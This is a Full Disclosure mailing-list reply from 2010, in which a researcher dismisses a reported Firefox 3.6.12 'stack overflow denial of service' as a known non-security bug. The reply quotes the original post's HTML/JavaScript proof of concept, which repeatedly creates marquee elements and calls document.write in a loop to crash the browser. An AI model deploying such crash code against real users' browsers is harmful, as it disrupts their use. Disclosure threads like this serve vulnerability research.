Full Disclosure mailing list archives

Re: FireFox 3.6.12 Stack Overflow Denial of Service

From: Berend-Jan Wever <berendjanwever () gmail com>
Date: Wed, 8 Dec 2010 18:22:13 +0100

This is a known bug and not a security issue. I'm not sure why you're
posting to this list.
https://bugzilla.mozilla.org/buglist.cgi?quicksearch=marquee+stack+overflow

Cheers,
SkyLined

Berend-Jan Wever <berendjanwever () gmail com>
Delft, The Netherlands
http://skypher.com/SkyLined



On Wed, Dec 8, 2010 at 09:28, sec yun <root () wooyun org> wrote:

<code>
<html>

<body></body>

<script type="text/javascript">

function xxoo(){

var str="marquee";

var cobj=document.createElement(str);

cobj.id="bK";

document.body.appendChild(cobj);

var obj=document.getElementById("bK");

var atts = new Array();

for(p in obj){



}

document.body.removeChild(cobj);

var html="<marquee>";

document.write(html);

}

for (i = 0; i < 500; i++) {

xxoo();

}

</script>
</code>

 http://www.wooyun.org/bugs/wooyun-2010-0903

WooYun is a connection platform for vendors and security researchers
 From 0x250@wooyun :)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

FireFox 3.6.12 Stack Overflow Denial of Service sec yun (Dec 08)
- Re: FireFox 3.6.12 Stack Overflow Denial of Service Berend-Jan Wever (Dec 08)